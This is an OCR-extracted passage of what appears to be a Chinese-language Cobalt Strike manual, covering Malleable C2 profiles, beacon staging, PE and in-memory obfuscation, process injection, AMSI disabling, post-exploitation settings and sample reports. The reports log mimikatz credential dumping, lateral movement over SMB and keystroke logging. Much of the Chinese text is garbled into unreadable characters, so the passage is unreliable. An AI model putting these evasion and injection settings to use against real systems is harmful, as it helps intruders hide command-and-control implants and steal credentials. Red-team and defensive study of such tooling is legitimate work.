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Required by stagers.

Jitter 0 Default jitter factor (0-99%)

maxdns 255 Maximum length of
hostname when uploading
data over DNS (0-255)

pipename msagent_## Default name of pipe to use
for SMB Beacon's peer-to-
peer communication. ## is
replaced with a number
unique to your team server.

pipename_stager status_## Name of pipe to use for SMB
Beacon’s named pipe stager.
## is replaced with a number-

sample_name My Profile The name of this profile
(used in the Indicators of
Compromise report)

sleeptime 60000 Default sleep time (in
milliseconds)
spawnto_x86 Yowindir?s\syswow64\rundll32.exe Default x86 program to open
and inject shellcode into
spawnto_x64 Yowindir?s\sysnative\rundll32.exe Default x64 program to open
and inject shellcode into
tep_port 4444 Default TCP Beacon listen
port
uri http-get,  [required option]| Transaction URI
http-post
uri x86 http-stager x86 payload stage URI
uri_x64 http-stager x64 payload stage URI
useragent Internet Explorer (Random)  Default User-Agent for
HTTP comms.
verb http-get,  GET, POST HTTP Verb to use for
http-post transaction

(R uri &I, (R LABE AR SIE S RINEAERIEESZ 1 URI, Cobalt Strike B9 Web fR5SE815
SBEFFEIXLL URI, FFISTERRIT Beacon stage B A5 Beacon A EIXLE URI HEI—1N.

BD{F useragent EINFE, (REEJLUER header 1EEEEILIEIN,

11.4 HTTP Staging

Beacon — MO BNERRY payload, XEBRE payload #— stager FEFAAFEARINEF. FH
http-get # http-post $§#RfE Beacon EARRIBRIRFHRZBIAS=4ER, C2 HRESU4RY http-
stager 1BAHRATEHEN HTTP staging 1372,

http-stager {
set uri_x86 "/get32.gif";
set uri_x64 "/getb64.gif";

uri_x86 IEINKE AT T~ x86 payload stage BY URI, uri_x64 EINIREFRT & x64 payload
stage A9 URI,

client {
parameter "id" "1234";
header "Cookie" "Somevalue";

£ http-stager ERIXTHY client XKEFENX HTTP ESHIEFim. £/ parameter KEFHRIG
URIEIN—1248. £/ header XEFHRLS stager B HTTP GET iBKIEIN—1LFER.
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server {
header "Content-Type" "image/gif";

output {
prepend "GIF89a";
print;

b

f£ http-stager LR TH server XEFEN HTTP EFMMRSESIH. header XKEFLLEIRSEEM
RSN — MRS EELFER. http-stager EFXAF server THY output KEFE—PKE
payload stage RUEUESEIR, XM EUEFIART 8RN ETE stage ZRIMNIFRFERELS stage IEINFFRF
8. F/A print ZBIHEGRXAXMEHIBDH,

11.5 Beacon HTTP =284

B EmEAmR STk, BETFEE— Beacon ESAYNIAIE MERLIXWPLLTE.

24— Beacon [a Cobalt Strike B9 web fRSZEE&IX HTTP GET iEKEf— NESMIRT . AT,
Beacon WKEXBAEZEENEEN metadata (JTHIR) .

B SIETTEUERINEIEUER. WIRSERB, NWASEELZES URI S5 EREIR. i
YRR FH base64 , base64url B netbios EEXHMRAYTEIEHITIRED.

Cobalt Strike B9 web IR5388(FF3 Beacon WHITEESIWALLL HTTP GET i&3K,

XEAES EAIRIFN—MINERI S Blob &IXHY. {RALIE http-get RIBRSSER LN TER
output KEFIEHRILER.

Beacon HiT{ESEAY, SERHILE. THATBEESRE, Beacon SNBEREERHERX. WRSEH
tH, M Beacon HNEEIRIAZE. WNEBEHIH, Beacon i35 HTTP POST E53,

HTTP POSTIERJRTE URI SEEELFERFEE—1EIE id. Cobalt Strike FRLLEEEHHSIE
FRISIEEXEL. KBNS RZEINENZiHS] Blob, {REILAERTE http-post B9 Finm_E T3
output XEFREHIER.

Cobalt Strike B9 web fRSZ 28I sES AR S ERANE A S ME HTTP POST, Beacon AMERAILER.
{ReJLASEFBIE http-post LT server THY output IBEIHRISE HTTP POST AY%IH.

ER: B2 http-get BUAER GET 733X, T http-post BUAERA POST 75i%, ERAEIHERIHXL
BNME, (EREMEEISRESIXEROAME. XEARANRIENE,

TREGE T XEXEFREKIEIEE:

Request Component  Block Data

http-get client metadata Session metadata
http-get server output Beacon’s tasks
http-post client id Session ID

http-post client output Beacon’s responses
http-post server output Empty

http-stager server output Encoded payload stage

11.6 HTTPIRSZEEE

http-config REFMMATAH Cobalt Strike A9 web RSZEEF4AI HTTP AR, EIXE, {RAILUERE
RN HTTP SL=ERF0 HTTP L= ERHIIR.
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http-config {
set headers "Date, Server, Content-Length, Keep-Alive,
Connection, Content-Type";
header "server" "Apache";
header "Keep-Alive" "timeout=5, max=100";
header "Connection" "Keep-Alive”;
set trust_x_forwarded_for "true";

header JX§E=45%F Cobalt Strike B9 HTTP IHELZAID— header {&, N2, header {[EE— S
FEEEN, BAKEBEEBSH AL,

set headers EIIEEIXLE HTTP SLFERE— HTTP MR EBEAIIRRS. (A ELFIZRFRY
HTTP LELBIRINZEIRE.

set trust_x_forwarded_for EIATE Cobalt Strike 2&{EFE X-Forwarded-For HTTP L3EMfaEIS
KRAGIAEBE, WNSRARAY Cobalt Strike BRSZEEE— HTTP EEXEMES/S, 1B{FEAILIELIR,

11.7 {8 SSL Beacon FIBZER SSL iEH

HTTPS Beacon FEELB(SH{FEFE HTTP Beacon RYftR, C2 3REHIARTLAA Beacon C2 IR 28HYE
B2 SSLUEBIEESH. NRFEEH SSLIFRHEFHEEH—TL_AREEn actor, XEIEES
H:

https-certificate {
set CN "bobsmalware.com";
set 0 "Bob’s Malware";

SR{RRECEN HHERRNE R SHUs:

Option Example Description

C US Country

CN beacon.cobaltstrike.com Common Name; Your callback domain
L Washington Locality

o Strategic Cyber LLC Organization Name

ou Certificate Department Organizational Unit Name

ST DC State or Province

validity 365 Number of days certificate is valid for

11.8 {6 SSL Beacon BB SSL iEH

{RETLAIEEERS Beacon fERIERIAY SSLIER. A C2 EXMSRISE— Java ZiRES4FIZHER
T8, ERREV/REE(RIERAIAAR. RIEP. (FEHERERBAEREY SSL RN iR HaEiE
. Cobalt Strike HIZB{RAY Java HIRENMHIIES C2 HRMHRE—3X 4R,

https-certificate {
set keystore "domain.store";
set password "mypassword";

ER— AR SSLIEBIISE:

Option Example Description
keystore domain.store Java Keystore file with certificate information
password mypassword The password to your Java Keystore
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LA T 2655 Cobalt Strike f§ Beacon —i#2{HFERIEM SSLIF BRI E:

1. {EF keytool FEFEIFE— Java Keystore {4, XAMERSIE “What is your first and last
name?” ({FRBMURHA? ) BERHREERT2RENHBEZRE Beacon fk55eE. HI, B
RICTERE (keystore) EfE. FHEIFEAZIE.

$ keytool -genkey -keyalg RSA -keysize 2048 -keystore domain.store

2, f#R keytool ERIERERIEK (CSR) . (RSNGULIIHRILSIRAY SSLIERMHAR. MBiTRe
MRS HF RIS, —L BtbEf BBl E EENNERER.

$ keytool -certreq -keyalg RSA -file domain.csr -keystore domain.store

3. SRRy SSL N RHRIRIERAE T HERES.

$ keytool -import -trustcacerts -alias FILE -file FILE.crt -keystore
domain.store

4, &fa, RO TEARIIERES.

$ keytool -import -trustcacerts -alias mykey -file domain.crt -keystore
domain.store

MEBIXFE, WE, RELET— Java B4BEE (Keystore) 314, BILAS Cobalt Strike i Beacon —
FefEA.

11.9 BEENXIHZEM

EABRT, CARIHREA— A, TLUBIHERE hrep-get . htep-post. http-
stager Fil https-certificate E/KHRITEAMAIEE THHIZSIA,

TEHLL [block name] “variant name” { .. } BUBE=IEE. XE—1MEH My variant HIZR
http-get $R:

http-get "My variant" {
client {
parameter "bar" "bTlah";

TR e REREE X A PRIFUARKIESREE HES. SN E—HNZREREHS
BE— TR EREN . (FILWRIEREERESHMEN TR RIERREN

fEFCE HTTP 8¢ HTTPS Beacon 3E#rAT, BSILUEIREE. TEAITFLPERIBMNEIRSSZA9TA HTTP
8¢, HTTPS Beacon {5ITes BB B AHERERIME 10C,

11.10 KBFZIED

Attacks — Packages — Windows Executable/windows Executable(s) IEETXIETHIITSEEL
DLL T ZRIGEIN, BRI, WiEEHHEABEZIUETHFIFATERY Java Keystore {4,
Cobalt Strike BEES C2 HESUHBERIFISIHSHIKE! Java Keystore X4,
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code-signer {
set keystore "keystore.jks";
set password "password";
set alias "server";

KBS RIERREN:

Example Description
alias server The keystore’s alias for this certificate
digest algorithm SHA256 The digest algorithm
keystore keystore.jks Java Keystore file with certificate information
password mypassword The password to your Java Keystore
timestamp false Timestamp the file using a third-party service
timestamp url  http//timestamp digicertcom  UJRL of the timestamp service

11.11 C2 SR STHFI A4 SfE i

BEREHRRIR. C2 HRMEHRRE T IMEF NSRS TERRE. XFMIhAREES
£, C2HEXHRIRESEURMFEIRRSER. BENEKEXHR, FEEZEIUAT/LR:

1. 81 Cobalt Strike SLHI—R{FER—NMECEX . WRENEESHSINBFAIEEHE, LABIED
EHRY Beacon BLESRE(E.

2. EFFREUELIRRT, 1BIaE T REURRIIRSLARIMY R AR E. fla0, WNR{FRITEiEHITT
base64 fRASFHISHFMETE URI S84, XETAEMN. FHA? EA URL FEL base64 FFF
(+. =70 /) BEEHESY, 2lint TEMEEHRIFEEAASH NS,

3. BMsEATRANNER, tBEREZNXIRAVECE . W3R Beacon TiESIRERE, NATEER(RAVES
EXHEFERR, WEe, REFd—R.

4 5F c2lint TR, ZzT Bl 7T EEX M mFRS. XEREETZEANSIINSR. R c2lint
RERN, N RAVES & U TR SEPR )RR,


af://n19708

B1+"5 vl{aRE PE, HIEEANTIBESE

12.1 #ER

C2 R AMIUNZBBIEIER. C2 HaRSUFIAATLAEH) Beacon BIRTFHFIE, RXE Beacon QAT
HIBEN, BB Cobalt Strike EZEES. AESNETHRE C2 IESHIXLEY &R,

12.2 PE flIRFHEIR
C2 XY stage HuZEIAN{aElE Beacon MNEEIRERLUR SRS Beacon DLL FIRZA.

stage {
set userwx "false";
set compile_time "14 Jul 2009 8:14:00";
set image_size_x86 "512000";
set image_size_x64 "512000";
set obfuscate "true";

transform-x86 {
prepend "\x90\x90";
strrep "ReflectiveLoader" "DoLegitStuff";

}

transform-x64 {
# transform the x64 rDLL stage

}

stringw "I am not Beacon";

transform-x86 F transform-x64 HUEFEFN4EHR Beacon AY5T DLL stage, XEHRTIF=1 <!
prepend , append #[ strrep,

prepend #3<STE Beacon BRET DLL ZEIBEA—INERFE, append @< 7E Beacon B9&EY DLL Z2f5
IN—NFER55R, BRREIEEUER stage 2249 (x86, x64) AIBERUTED. c2lint FEFEMILLREE
&, strrep WpoaEit Beacon BIREY DLL FEYFFFE.

stage BRIEZEFFFERRINE Beacon DLLAY .rdata THIERS. string apiRINLATERIFR
BB, stringw AR NEE (UTF-16LE JRESHY) FHFER, data sp<iR/RERRINRASFATER.

stage BRI/ MEDKIZHI Beacon DLL IR, FHRMRRLAE Beacon BIREIINEESHITT
7
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Option Example Description

checksum 0 The CheckSum value in Beacon’s PE header

cleanup false Ask Beacon to attempt to free memory
associated with the Reflective DLL package that
initialized it.

compile_time 14 July 2009 8:14:00 The build time in Beacon’s PE header

entry_point 92145 The EntryPoint value in Beacon’s PE header
image size x64 512000 SizeOflmage value in x64 Beacon’s PE header
image size_x86 512000 SizeOflmage value in x86 Beacon’s PE header
module_x86 xpsservices.dll Ask the x86 ReflectiveLoader to load the

specified library and overwrite its space instead
of allocating memory with VirtualAlloc.

module x64 xpsservices.dll Same as module x86; affects x64 loader
name beacon.x64.dll The Exported name of the Beacon DLL
obfuscate false Obfuscate the Reflective DLL’s import table,

overwrite unused header content, and ask
ReflectiveLoader to copy Beacon to new
memory without its DLL headers.

rich_header Meta-information inserted by the compiler
sleep mask false Obfuscate Beacon, in-memory, prior to sleeping
stomppe true Ask ReflectiveLoader to stomp MZ, PE, and

e lfanew values after it loads Beacon payload
userwx false Ask ReflectiveLoader to use or avoid RWX

permissions for Beacon DLL in memory

52l PE 3k

Cobalt Strike Y Linux 2FEEE—1TH peclone , FIFM DLL F#2EX PE SLFHIEHE/RAPTZAD
{#5FAAY stage k-

./peclone [/path/to/sample.dT1]

RTFRASHLEFIER;

{3 stage tREY prepend apREM—LOH, FMOFTSITHATFRIAILNFEUEHIENN
DLLASZSR., MNRBirIZEsTRFERSET TENFHEREURR agent (RIE) , 1BER
strrep GpXXET BAFERNFFERHITER.

IR strrep IEARE, 1B sleep_mask EINZE A true, X515 Beacon THHNEIRZBINGER
FHTREE. HNEREG, Beacon BXWESHTREBEWIE, LUSKNMIEES, SMBFITCP
Beacon BAEEFMEENEFREERXSIENEIEINERHTRAE.

MEEEEFRGATFH DLL IER., NRERFEMFIGNE], 518 stomppe ®E Afalse, R
{RIEERAIEBEMNEFA Beacon DLL, 1B15 stomppe i&E Mtrue, MRIFESERE, BF
obfuscate IEINZE AN true, LEIVEREBUIRZ L EBRKIEIE(REY Beacon stage FIATFH DLL BI&LE

1§ userwx IRE false BJLAZEK Beacon RIMNEFEFES RWX IR, BEAEXUARAIAEFERIGS
DIARILZEFmAVEIMRIE.

BOABERT, Beacon NNEFERFIEIT VirtualAlloc HEERE. 1&BR stomping B— &K%, 1§
module_x86 IZEH— DLL, HA/N4JJ5 Beacon payload Z&BHIF(Z, Beacon H x86 INEFIEFIE
IIEFEERI DLL, EREHIKREIENE, AEEHEHEBES. XE2—E Beacon MEESHE ERISHX
EX89 Windows RFHRIGE. EBNE, (FITEHBINBEFAZE(RIEZEIIDLL, module_x64
FEIEHERNER, BRS50E x64 Beacon,
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ANER4/RHEIL) Beacon stage £AIIAILANTEFRY Beacon DLL, i5# cleanup EIURE A true, IR
BIEABEEXEL Beacon stage FIRERTISELRR,

12.3 #HEEEN

AJH & C2 Y process-inject WAIXGFANRATHITEE, FHizH Beacon payload BIHEFENTT

process-inject {
# set how memory is allocated in a remote process
set allocator "virtualAllocEx";

# shape the memory characteristics and content
set min_alloc "16384";

set startrwx "true";

set userwx "false";

transform-x86 {

prepend "\x90\x90";

transform-x64 {
# transform x64 injected content

3
# determine how to execute the injected code
execute {
CreateThread "ntdl11.d11!RtlUserThreadstart";
SetThreadContext;
Rt1CreateUserThread;
3

process-inject HUES 1/ NEIEIES Beacon FRHIEENITTE:

Option Example Description

allocator VirtualAllocEx The preferred method to allocate memory in the remote process.
Specify VirtualAllocEx or NtMapViewOfSection. The
NtMapViewOfSection option is for same-architecture injection
only. VirtualAllocEx 1s always used for cross-arch memory

allocations.
min_alloc 4096 Minimum amount of memory to request for injected content
startrwx false Use RWX as initial permissions for injected content. Alternative
1s RW.
userwx false Use RWX as final permissions for injected content.

Alternative 1s RX.

transform-x86 F transform-x64 HRIEZE Beacon ;EAHINE., IXEHTIEF NS : prepend
append , prepend LEEANNABZEHEA—NFRFE. append BLSEEIANNABTZ EHRII—
FRE, SERFRIERESTSIENATIISEM (x86, x64) HIBRULIE. c2lint BFRLIZER
§c:

execute HRIZEHI Beacon EEEBRADENZIHEPIIEFERINSE. Beacon 188 execute HREPEY
BMNEN. MEZEMERTATIHERI LETX, AN ERZEE. NRRIITRE, UBET—
BN, PUTIEIREIE:
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Option x86 ->x64 x64->x86 Notes |

CreateThread Current process only
CreateRemoteThread Yes No cross-session
NtQueueApcThread

NtQueueApcThread-s This is the “Early Bird” injection

technique. Suspended processes (e.g..
post-ex jobs) only.

RtlCreateUserThread Yes Yes Risky on XP-era targets; uses RWX
shellcode for x86 -> x64 injection.

SetThreadContext Yes Suspended processes (e.g., post-ex jobs)
only.

CreateThread ] CreateRemoteThread EIE—TE, BiI&FERARE— 1 REEIEIEE—NE
RS, EMZEENERELBITEANNRB, REkE1Z&E. £/ [function]

"module! function+Ox##" FEEENIRAVCIAHEILE, W EfEHFE, ntd11 1 kernel132 EMFPHIENH
ME—HETFIER, BIERY Ox## BRD BRINEEEI R REE. XWITE(NIT x86-x86 F1 x64-x64
= =25

{RIFEIERY execute (W4T) BN NRESZMRIGEE R, XERGEEREEEEREN. FAZIEEN
IEEEHES. BIRTfEHE TN, x86-x64 JEN. x64-x86 FANUNTERATESEUGHAE
N C2lint TESIHREY execute HABZH T A HEL,

12.4 [FiEEES

Windows DLL SER Y 8EKRY Cobalt Strike [S2iEIHRE (FIaN, FREE. BERICRIERF. IBHEHE
F) . EHUTIXLEIEE, Cobalt Strike RURE—NMGESHIE, AEBIIREEANEF. process-inject
BRIZHIFIEENSER. post-ex LRIzH Cobalt Strike HIEI2EIRERTFERINBHITA.

post-ex {
# control the temporary process we spawn to
set spawnto_x86 "%windir%\\syswow64\\rundl132.exe";
set spawnto_x64 "%windir%\\sysnative\\rundl132.exe";

# change the permissions and content of our post-ex DLLsS
set obfuscate "true";

# pass key function pointers from Beacon to its child jobs
set smartinject "true";

# disable AMSI in powerpick, execute-assembly, and psinject
set amsi_disable "true";

spawnto_x86 F[] spawnto_x64 EIUEH Beacon ABFIREEGSBEINEENEIAIGRIHE. LITEE
KIXLEAERI—LERTR:

1. PRRISTE(RIEE Beacon IREMEFHFEIRRR

2 iSRRI LAERAREERE (FI0 %windirk) .

3. FEEIFEETE %windir%\system32 B c:\windows\system32 , ¥AZR{EF syswow64 (x86) F[
sysnative (x64) , Beacon SEMERTIEIXLEEEESN system32,

4. XFF x86 spawnto (B, WHEE— x86 F&FF, XJT x64 spawnto {8, KIEE—" x64 &
FF.

5. {RISTERIRRE (REBnIA syswow6e4 / sysnative HEE) DRARIIIFAETHRSHI x64 (&
) EFI x86 (wow64d) FHEH,
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obfuscate JEIMLAEZLEHT OPSEC 5T post-ex DLLEYABHITING, F4& post-ex THREFEZE
WT?_FEF'O iZ‘—iiEJ‘i stage i}&ﬁjﬁﬁﬂ: Beacon E’\J obfuscate ﬂ] userwx iﬁlﬁﬂE'f%"’fEMo

smartinject YEUUET Beacon {XMEMIEST (1 GetProcaddress H LoadLibrary) #NEIEE
EARZREENIR post-ex DLL 1, iXff post-ex DLLEJLAFERTAREF#HITERKS S, MARBIT IS
PEB # kernel32.dIl IAEHIERAGUFIZE RS shellcode BT,

amsi_disable GEIUE powerpick. execute-assembly #1 psinject fENIZ: NET &k
PowerShell fX#BZBi{E%h AmsiScanBuffer &, XPRH T RBP4 IR OXIXLLIHEERIRT I

.



FH=5 REMEE

13.1 BE

Cobalt StrikelSELAFAENCRIERIMRSSE L. XERAEMNTIRNFEEIEARSSBHE RN
logs/ M{4£h, A Beacon i&aitaEItAMERHBH5aE B EIFORT 2L,

13.2 ik

Cobalt Strike BJ/IAMREIEN, AR {FREMREIRHAZPEREMTEN. (FILREXSEIREFE
YRR, AR,

x Export Report

Workspace: [All Hosts - l

Short Title: [Hosts Report |

Long Title: [Hosts Report ]

Description: |This report shows host information
gathered during this penetration test.

Output: IMs word - |

Export |

El46. SHIREINEIE

Z| Reporting 3, REIEEFE—FPRERLEM. Cobalt Strike 2FAVIRESH I MS Word 8%
PDF 37#4,

maiRE
TEAREIR TANENER, WRFIER T IR ESEE.

Activity Report

date host user pid activity

09/03 07:21 ws2 whatta.hogg 2436 host called home, sent: 8 bytes

09/03 07:21 Wws2 whatta.hogg 2436 run: whoami /groups

09/03 07:21 Ws2 whatta.hogg 2436 host called home, sent: 22 bytes

09/03 07:22 visit to /KSts/ (beacon beacon stager) by 108.51.97.41

09/03 07:22 ws2 whatta hogg * 3496 initial beacon

09/0307:22 Ws2 whattahogg * 3496 dump hashes

09/03 07:22 Wws2 whatta.hogg 2436 spawn windows/beacon_http/reverse_htip
(ads.losenolove.com:80) in a high integrity process

09/0307:22 WS2 whattahogg 2436  host called home, sent: 72720 bytes

09/03 07:22 ws2 whatta.hogg * 3496 run mimikatz's sekurisa::logonpasswords command

09/0307:22 Ws2 whatta.hogg * 3496 host called home, sent: 302231 bytes

09/03 07:22 Ws2 whatta.hogg * 3496 run net view

09/03 07:22 ws2 whatta.hogg * 3496 received password hashes

09/0307:22  WS2 whattahogg * 3496 host called home, sent: 74296 bytes

09/0307:22 Ws2 whattahogg * 3496 received output from net module

09/03 07:22 ws2 whatta.hogg* 3496 received output from net module

09/03 07:22 Ws2 whatta.hogg * 3496 import: /root/PowerTools/PowerView/powerview.ps1

09/03 07:22 wsz2 whattahogg * 3496 host called home, sent: 406136 bytes

09/03 07:22 Ws2 whatta.hogg * 3496 run: Invoke-FindLocalAdminAccess

09/03 07:23 Wws2 whattahogg* 3496 host called home, sent: 35 bytes

09/0307:23 Ws2 whattahogg * 3496 run: nitest /dclist CORP

09/03 07:23 ws2 whatta.hogg * 3496 host called home, sent: 27 bytes

09/0307:24 WsS2 whatta.hogg * 3496 run windows/beacon_smb/bind_pipe (\WFILESERVER\pipe
\status_9756) on FILESERVER via Service Control Manager
(WFILESERVER\ADMIN$\2e8af31.exe)

09/03 07:24 Ws2 whatta.hogg * 3496 host called home, sent: 209164 bytes

09/03 07:24 FILESERVER SYSTEM* 4860 initial beacon

09/03 07:24 Ws2 whatta.hogg * 3496 established link to child beacon: FILESERVER

Page. 3

Bl47. EERE
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B=EIE (10C) RS

ZIREXMTRMERREFH [RFEFR]  (100) MR, ABEEXMRRY C2 RSSO, A
AL LARAR EAERISIART MD5 1575,

Indicators of Compromise

HaveX Trojan

This payload was observed in conjunction with this actor's activities.

le Ex le Information
Checksum: 0
Compilation Timestamp: 30 Dec 2013 07:53:48
Entry Point: 134733
Name: Tmprovider.dil
Size: 340kb (348160 bytes)
Target Machine: x86

This payload resides in memory pages with RWX permissions. These memory pages
are not backed by a file on disk.

Contacted Hosts

Host Port Protocols
172.16.4.131 80 HTTP
HTTP Traffic

GET /include/templatefisx.php HTTP/1.1

Referer: http://www.google.com

Accept: text/xmi,application/xml,application/xhtmi+xmi text/html;q=0.9,teot/
plain;q=0.8,image/png,*/*;q=0.5

Accept-Language: en-us,en;g=0.5

Cookie: cFHHOdFMNrombFDOyVSbjw==

User-Agent: Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 5.2) Java/1.5.0_08

HTTP/1.1 200 OK

Server: Apache/2.2.26 (Unix)
X-Powered-By: PHP/5.3.28
Cache-Control: no-cache
Content-Type: text/htmil
Keep-Alive: timeout=3, max=100
Content-Length: 238

48, REIRIRRE
SRS

ZIREBRRHCR T IEME]. ZRE8HE: SN RERTEEZNRRBERE, SIEHEEhRw#
BRI MDS I5%(E, RIUSHR (BINIRSR) RIGEEENRIRIAL. 2Rk S 2R BRETH
BN T RELLBARORT B A s S IR IR SRR E R SRRV N s A LR H B T A,
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BN BILLING-POWER

User: SYSTEM *
PID: 1396
Opened: 09/03 07:26

Communication Path

hosts port protocol
FILESERVER 445 SMB
ws2 445 SMB
54.167.83.168, ads.losenolove.com 80 HTTP
Activity

date activity

09/03 07:26 established link to parent beacon: FILESERVER
09/03 07:27 host called home, sent: 12 bytes

09/03 07:27 take a screenshot in 1560/xB6

09/03 07:27 log keystrokes in 1560 (x86)

09/03 0727 host called home, sent: 226452 bytes

09/03 07:27 received screenshot (125875 bytes)

09/03 07:28 host called home, sent: 19 bytes

09/03 07:29 host called home, sent: 28 bytes

49, SiEIRE
HHeITREFRE

HAETEREICR 78— RNENATHRE Y. ERET. URNEPTRERAFIRRERNE
B, ZREERERT Cobalt Strike A System Profiler &IMAIR FAFERE.

TTPs (BAR. EISHEER) RS

IR ESIGARAY Cobalt Strike TEIBRETZEI MITRE B9 ATT & CK 5BFERAIGEAR, ATT & CK XER4{EFHGNIFN
ERRIERRA T B, (RALAELLFMUE T 25 % MITRE ATT&CK NES(ER:

e https://attack.mitre.org/

13.3 HEXIREHRI Logo

Cobalt Strike IREEEEHTUIRERE T Cobalt Strike Logo, {REJLUGEHEHRAIRE SIERNER. BT
cobalt Sstrike — Preferences — Reporting HHTIIRE.

RIBENERR 1192x257px, RE 300dpi . KIRIRE 300dpi , XHHRES | BELAERSAY
RNETYRRIEIR.

REATLIRERAR. REABIENRRES R EEGTIIELRE. RENEEEERRER,

EAT AT JOES
Penetration Testing Service

Vulnerability Report

August 14, 2012
This report shows vulnerabilities found during this penetration test.

Summary

Vulnerabilities:
Unique Vulnerabilities:
Vulnerable Hosts:
Compromises:

o,oR MW
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E150. —HREHIMAOIEE
13.4 BEXIRES

Cobalt Strike 3.0 STFFEEMIRS. XLMAZE Aggressor INESHIFETENXRI. ER
Aggressor BIZARSELA T A RILTHRERIE SER.:

e https://www.cobaltstrike.com/aggressor-script
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BiRA. ERRER

AT RES A A

Shortcut Action

Ctrl+A console select all text

Ctrl+K

:
3
g
g_

Ctrl+Plus

E
E'
§

:
E

show next command in command history

scroll down half a screen

g
:
%

%

complete the current command (in some console types)

Ctrl+B send current tab to the bottom of the Cobalt Strike window

|;

Ctrl+Shift+D

%

close all tabs except the current tab

Ctrl+I choose a session to interact with

|;

open preferences

|;

Ctrl+Right switch to next tab

|;

Ctrl+Shifi+T

%

take screenshot of Cobalt Strike (result is sent to team server)

Ctrl+C

g

arrange sessions in a circle

Ctrl+Minus

Zoom out

|1

.
F00m 1n

Ctrl+Plus

|i

Ctrl+0 reset to default zoom-level

|1

Ctrl+A select all hosts

i
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